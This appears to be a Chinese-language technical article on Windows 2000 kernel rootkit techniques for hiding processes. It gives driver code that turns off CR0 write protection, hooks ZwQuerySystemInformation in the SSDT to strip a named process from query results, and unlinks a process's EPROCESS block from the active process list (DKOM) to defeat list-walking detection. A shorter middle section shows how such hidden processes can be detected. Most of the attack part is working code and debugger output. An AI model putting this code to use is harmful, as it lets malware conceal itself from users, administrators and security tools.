1.原理介绍:
Windows操作系统是一种分层的架构体系。应用层的程序是通过API来访问操作系统。而API又是通过ntdll里面的核心API来进行系统服务的查询。核心API通过对int 2e的切换,从用户模式转换到内核模式。2Eh中断的功能是通过NTOSKRNL.EXE的一个函数KiSystemService()来实现的。在你使用了一个系统调用时,必须首先装载要调用的函数索引号到EAX寄存器中。把指向参数区的指针被保存在EDX寄存器中。中断调用后,EAX寄存器保存了返回的结果。KiSystemService()是根据EAX的值来决定哪个函数将被调用。而系统在SSDT中维持了一个数组,专门用来索引特定的函数服务地址。在Windows 2000中有一个未公开的由ntoskrnl.exe导出的KeServiceDescriptorTable变量,我们可以通过它来完成对SSDT的访问与修改。KeServiceDescriptorTable对应于一个数据结构,定义如下:
typedef struct SystemServiceDescriptorTable { UINT *ServiceTableBase; UINT *ServiceCounterTableBase; UINT NumberOfService; UCHAR *ParameterTableBase; }SystemServiceDescriptorTable,*PSystemServiceDescriptorTable; |
其中ServiceTableBase指向系统服务程序的地址(SSDT),ParameterTableBase则指向SSPT中的参数地址,它们都包含了NumberOfService这么多个数组单元。在windows 2000 sp4中NumberOfService的数目是248个。
我们的任务管理器,是通过用户层的API来枚举当前的进程的。Ring3级枚举的方法:
• PSAPI – EnumProcesses() • ToolHelp32 – Process32First() - Process32Next() |
来对进程进行枚举。而她们最后都是通过NtQuerySystemInformation来进行查询的。所以我们只需要Hook掉NtQuerySystemInformation,把真实NtQuerySystemInformation返回的数进行添加或者是删改,就能有效的欺骗上层API。从而达到隐藏特定进程的目的。
2. Hook
Windows2000中NtQuerySystemInformation在SSDT里面的索引号是0x97,所以只需要把SSDT中偏移0x97*4处把原来的一个DWORD类型的读出来保存一个全局变量中然后再把她重新赋值成一个新的Hook函数的地址,就完成了Hook。
OldFuncAddress = KeServiceDescriptorTable-> ServiceCounterTableBase[0x97];
KeServiceDescriptorTable-> ServiceCounterTableBase[0x97] = NewFuncAddress;
在其他系统中这个号就不一定一样。所以必须找一种通用的办法来得到这个索引号。在《Undocument Nt》中介绍了一种办法可以解决这个通用问题,从未有效的避免了使用硬编码。在ntoskrnl 导出的 ZwQuerySystemInformation中包含有索引号的硬编码:
kd> u ZwQuerySystemInformation 804011aa b897000000 mov eax,0x97 804011af 8d542404 lea edx,[esp+0x4] 804011b3 cd2e int 2e 804011b5 c21000 ret 0x10 |
所以只需要把ZwQuerySystemInformation入口处的第二个字节取出来就能得到相应的索引号了。
例如: ID = *(PULONG)((PUCHAR)ZwQuerySystemInformation+1); RealZwQuerySystemInformation=((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]); ((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID] = HookZwQuerySystemInformation; |
3.对NtQuerySystemInformation
返回的数据进行删改
NtQuerySystemInformation的原型:
NtQuerySystemInformation( IN ULONG SystemInformationClass, //查询系统服务类型 IN PVOID SystemInformation, //接收系统信息缓冲区 IN ULONG SystemInformationLength, //接收信息缓冲区大小 OUT PULONG ReturnLength); //实际接收到的大小 |
NtQuerySystemInformation可以对系统的很多状态进行查询,不仅仅是对进程的查询,通过SystemInformationClass号来区分功能,当SystemInformationClass等于5的时候是在进行进程的查询。此时返回的SystemInformation 是一个 _SYSTEM_PROCESSES结构。
struct _SYSTEM_PROCESSES { ULONG NextEntryDelta; //下一个进程信息的偏移量,如果为0表示无一个进程信息 ULONG ThreadCount; //线程数量 ULONG Reserved[6]; // LARGE_INTEGER CreateTime; //创建进程的时间 LARGE_INTEGER UserTime; //进程中所有线程在用户模式运行时间的总和 LARGE_INTEGER KernelTime; //进程中所有线程在内核模式运行时间的总和 UNICODE_STRING ProcessName; //进程的名字 KPRIORITY BasePriority; //线程的缺省优先级 ULONG ProcessId; //进程ID号 ULONG InheritedFromProcessId; //继承语柄的进程ID号 ULONG HandleCount; //进程打开的语柄数量 ULONG Reserved2[2]; // VM_COUNTERS VmCounters; //虚拟内存的使用情况统计 IO_COUNTERS IoCounters; //IO操作的统计,Only For 2000 struct _SYSTEM_THREADS Threads[1]; //描述进程中各线程的数组 }; |
当NextEntryDelta域等于0时表示已经到了进程信息链的末尾。我们要做的仅仅是把要隐藏的进程从链中删除。
4. 核心实现
//系统服务表入口地址 extern PServiceDescriptorTableEntry KeServiceDescriptorTable; NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) { …… __asm{ mov eax, cr0 mov CR0VALUE, eax and eax, 0fffeffffh //DisableWriteProtect mov cr0, eax } //取得原来ZwQuerySystemInformation的入口地址 RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] ); //Hook ((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=HookFunc; //EnableWriteProtect __asm { mov eax, CR0VALUE mov cr0, eax } …… return STATUS_SUCCESS; } VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject) { …… //UnHook恢复系统服务的原始入口地址 ((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] = RealZwQuerySystemInformation; …… } NTSTATUS HookFunc( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength) { NTSTATUS rc; struct _SYSTEM_PROCESSES *curr; // 保存上一个进程信息的指针 struct _SYSTEM_PROCESSES *prev = NULL; //调用原函数 rc = (RealZwQuerySystemInformation) ( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); if(NT_SUCCESS(rc)) { if(5 == SystemInformationClass) //如果系统查询类型是SystemProcessesAndThreadsInformation { curr = (struct _SYSTEM_PROCESSES *)SystemInformation; //加第一个偏移量得到第一个system进程的信息首地址 if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta); while(curr) { if(RtlCompareUnicodeString(&hide_process_name, &curr->ProcessName, 1) == 0) { //找到要隐藏的进程 if(prev) { if(curr->NextEntryDelta) { //要删除的信息在中间 prev->NextEntryDelta += curr->NextEntryDelta; } else { //要删除的信息在末尾 prev->NextEntryDelta = 0; } } else { if(curr->NextEntryDelta) { //要删除的信息在开头 (char *)SystemInformation += curr->NextEntryDelta; } else { SystemInformation = NULL; } } //如果链下一个还有其他的进程信息,指针往后移 if(curr->NextEntryDelta) ((char*)curr+=curr->NextEntryDelta); else { curr = NULL; break; } } if(curr != NULL) { //把当前指针设置成前一个指针,当前指针后移 prev = curr; if(curr->NextEntryDelta) ((char*)curr+=curr->NextEntryDelta); else curr = NULL; } } // end while(curr) } } return rc; } |
通过IOCTL和Ring3级的应用程序通过DeviceIoControl(API)交互信息。Ring3级的用户程序使用,
DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen,
NULL,0,& BytesReturned,NULL)来通知驱动程序要隐藏的进程的名字。
枚举和修改活动进程链表来检测和隐藏进程
1. 介绍EPROCESS块(进程执行块)
每个进程都由一个EPROCESS块来表示。EPROCESS块中不仅包含了进程相关了很多信息,还有很多指向其他相关结构数据结构的指针。例如每一个进程里面都至少有一个ETHREAD块表示的线程。进程的名字,和在用户空间的PEB(进程环境)块等等。EPROCESS中除了PEB成员块在是用户空间,其他都是在系统空间中的。
2. 查看EPROCESS结构
kd> !processfields !processfields EPROCESS structure offsets: Pcb: 0x0 ExitStatus: 0x6c LockEvent: 0x70 LockCount: 0x80 CreateTime: 0x88 ExitTime: 0x90 LockOwner: 0x98 UniqueProcessId: 0x9c ActiveProcessLinks: 0xa0 QuotaPeakPoolUsage[0]: 0xa8 QuotaPoolUsage[0]: 0xb0 PagefileUsage: 0xb8 CommitCharge: 0xbc PeakPagefileUsage: 0xc0 PeakVirtualSize: 0xc4 VirtualSize: 0xc8 Vm: 0xd0 DebugPort: 0x120 ExceptionPort: 0x124 ObjectTable: 0x128 Token: 0x12c WorkingSetLock: 0x130 WorkingSetPage: 0x150 ProcessOutswapEnabled: 0x154 ProcessOutswapped: 0x155 AddressSpaceInitialized: 0x156 AddressSpaceDeleted: 0x157 AddressCreationLock: 0x158 ForkInProgress: 0x17c VmOperation: 0x180 VmOperationEvent: 0x184 PageDirectoryPte: 0x1f0 LastFaultCount: 0x18c VadRoot: 0x194 VadHint: 0x198 CloneRoot: 0x19c NumberOfPrivatePages: 0x1a0 NumberOfLockedPages: 0x1a4 ForkWasSuccessful: 0x182 ExitProcessCalled: 0x1aa CreateProcessReported: 0x1ab SectionHandle: 0x1ac Peb: 0x1b0 SectionBaseAddress: 0x1b4 QuotaBlock: 0x1b8 LastThreadExitStatus: 0x1bc WorkingSetWatch: 0x1c0 InheritedFromUniqueProcessId: 0x1c8 GrantedAccess: 0x1cc DefaultHardErrorProcessing 0x1d0 LdtInformation: 0x1d4 VadFreeHint: 0x1d8 VdmObjects: 0x1dc DeviceMap: 0x1e0 ImageFileName[0]: 0x1fc VmTrimFaultValue: 0x20c Win32Process: 0x214 Win32WindowStation: 0x1c4 |
3. 什么是活动进程链表
EPROCESS块中有一个ActiveProcessLinks成员,它是一个PLIST_ENTRY机构的双向链表。当一个新进程建立的时候父进程负责完成EPROCESS块,然后把ActiveProcessLinks链接到一个全局内核变量PsActiveProcessHead链表中。
在PspCreateProcess内核API中能清晰的找到:
InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks);
当进程结束的时候,该进程的EPROCESS结构当从活动进程链上摘除。(但是EPROCESS结构不一定就马上释放)。
在PspExitProcess内核API中能清晰的找到:
RemoveEntryList(&Process->ActiveProcessLinks);
所以我们完全可以利用活动进程链表来对进程进行枚举。
4. 进程枚举检测Hook SSDT隐藏的进程。
事实上Nactive API ZwQuerySystemInformation 对进程查询也是找到活动进程链表头,然后遍历活动进程链。最后把每一个EPROCESS中包含的基本信息返回(包括进程ID名字等)。所以用遍历活动进程链表的办法能有效的把Hook SSDT进行隐藏的进程轻而易举的查出来。但是PsActiveProcessHead并没被ntoskrnl.exe 导出来,所以我们可以利用硬编码的办法,来解决这个问题。利用内核调试器livekd查得PsActiveProcessHead的地址为: 0x8046e460.(在2000 sp4中得到的值)
kd> dd PsActiveProcessHead L 2 dd PsActiveProcessHead L 2 8046e460 81829780 ff2f4c80 PLIST_ENTRY PsActiveProcessHead = (PLIST_ENTRY)0x8046e460; void DisplayList() { PLIST_ENTRY List = PsActiveProcessHead->Blink; while( List != PsActiveProcessHead ) { char* name = ((char*)List-0xa0)+0x1fc; DbgPrint("name = %s\n",name); List=List->Blink; } } |
首先把List指向表头后的第一个元素。然后减去0xa0,因为这个时候List指向的并不是EPROCESS块的头,而是指向的它的ActiveProcessLinks成员结构,而ActiveProcessLinks在EPROCESS中的偏移量是0xa0,所以需要减去这么多,得到EPROCESS的头部。在EPROCESS偏移0x1fc处是进程的名字信息,所以再加上0x1fc得到进程名字,并且在Dbgview中打印出来。利用Hook SSDT隐藏的进程很容易就被查出来了。
5. 解决硬编码问题。
在上面我们的PsActiveProcessHead是通过硬编码的形式得到的,在不同的系统中这
值不一样。在不同的SP版本中这个值一般也不一样。这就给程序的通用性带来了很大的问题。下面就来解决这个PsActiveProcessHead的硬编码的问题。
ntoskrnl.exe导出的PsInitialSystemProcess 是一个指向system进程的EPROCESS。这个结构成员EPROCESS.ActiveProcessLinks.Blink就是指向PsActiveProcessHead的.
kd> dd PsInitialSystemProcess L 1 dd PsInitialSystemProcess L 1 8046e450 818296e0 kd> !process 818296e0 0 !process 818296e0 0 PROCESS 818296e0 SessionId: 0 Cid: 0008 Peb: 00000000 ParentCid: 0000 DirBase: 00030000 ObjectTable: 8185d148 TableSize: 141. Image: System 可以看出由PsInitialSystemProcess得到的818296e0正是指向System的EPROCESS. kd> dd 818296e0+0xa0 L 2 dd 818296e0+0xa0 L 2 81829780 814d1a00 8046e460 |
上面又可以看出System EPROCESS的ActiveProcessLinks域的Blink指向8046e460正好就是我们的PsActiveProcessHead.
6. 删除活动进程链表实现进程隐藏
由于Windows是基于线程调度的。所以如果我们把要隐藏的进程的EPROCESS块从活动进程链上摘除,就能有效的绕过基于通过活动进程链表检测进程的防御系统。因为是以线程为基本单位进行调度,所以摘除过后并不影响隐藏进程的线程调度。
void DelProcessList() { PLIST_ENTRY List = PsActiveProcessHead->Blink; while( List != PsActiveProcessHead ) { char* name = ((char*)List-0xa0)+0x1fc; if ( !_stricmp(name,"winlogon.exe") ) { DbgPrint("remove %s \n",name); RemoveEntryList(List); } List=List->Blink; } } |
首先和上面的程序一样得到PsActiveProcessHead 头的后面第一个EPROCESS块。然后和我们要隐藏的进程名字进行对比,如果不是指针延链下移动。如果是就把EPROCESS块从活动进程链上摘除。一直到遍历完一次活动进程的双向链表。当摘除指定进程的EPROCESS块后可以发现任务管理器里面的指定的进程消失了,然后又用上面的基于活动进程链表检测进程的程序一样的发现不到隐藏的进程。